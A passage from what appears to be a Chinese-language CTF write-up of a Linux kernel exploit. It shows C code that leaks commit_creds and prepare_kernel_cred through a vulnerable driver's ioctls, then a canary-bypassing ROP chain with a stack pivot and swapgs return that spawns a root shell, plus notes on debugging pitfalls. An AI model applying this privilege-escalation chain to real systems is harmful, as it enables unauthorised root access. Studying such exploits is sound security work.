*(uint64_t *)(buf + 0x100) = name_addr;
*(uint32_t *)(buf + 0x108) = 0x20;
ioctl(fd, CMD_CHOOSE, &idx);
ioctl(fd, CMD_CAST, &tmp);
read(fd, name_buf, 0x20);
if(memcmp(name_buf, "commit_creds", 0xC) == 0)
{
printf("[+] found commit_creds address is: %p\n", func_addr);
found_commit_creds = 1;
commit_creds = func_addr;
}
else if(memcmp(name_buf, "prepare_kernel_cred", 0x13) == 0)
{
printf("[+] found prepare_kernel_cred address is: %p\n", func_addr);
found_prepare_kernel_cred = 1;
prepare_kernel_cred = func_addr;
}
if(found_prepare_kernel_cred && found_commit_creds)
break;
}
}
save_status();
// rop
*(uint64_t *)(buf + 0x110) = canary;
*(uint64_t *)(buf + 0x120) = &sub_rsp + 8;
*(uint64_t *)(buf + 0x0) = &privilege_escalation;
*(uint64_t *)(buf + 0x8) = &swapgs + 8;
*(uint64_t *)(buf + 0x10) = &getshell;
*(uint64_t *)(buf + 0x18) = user_cs;
*(uint64_t *)(buf + 0x20) = user_rflags;
*(uint64_t *)(buf + 0x28) = user_sp;
*(uint64_t *)(buf + 0x30) = user_ss;
tmp.size = 0x128;
ioctl(fd, CMD_CHOOSE, &idx);
ioctl(fd, CMD_CAST, &tmp);
return 0;
}简单提一下自己踩的坑:
- 打印栈上残留的数据的时候,发现实际运行和调试的时候,得到的数据是不一样的,这里卡了很久;后面直接就不挂调试,而是直接dump栈上的数据,然后找有用的地址。
- 最后写rop的时候,内核栈放不下最后会crash,所以做一个小小的栈迁移;不过既然任何gadgets都可以在用户程序中构造,也很方便。
- 因为gadget是封装在用户态程序的函数体中的,所以需要跳过函数头才能直接执行到gadget本身,否则会有
push rbp
的执行。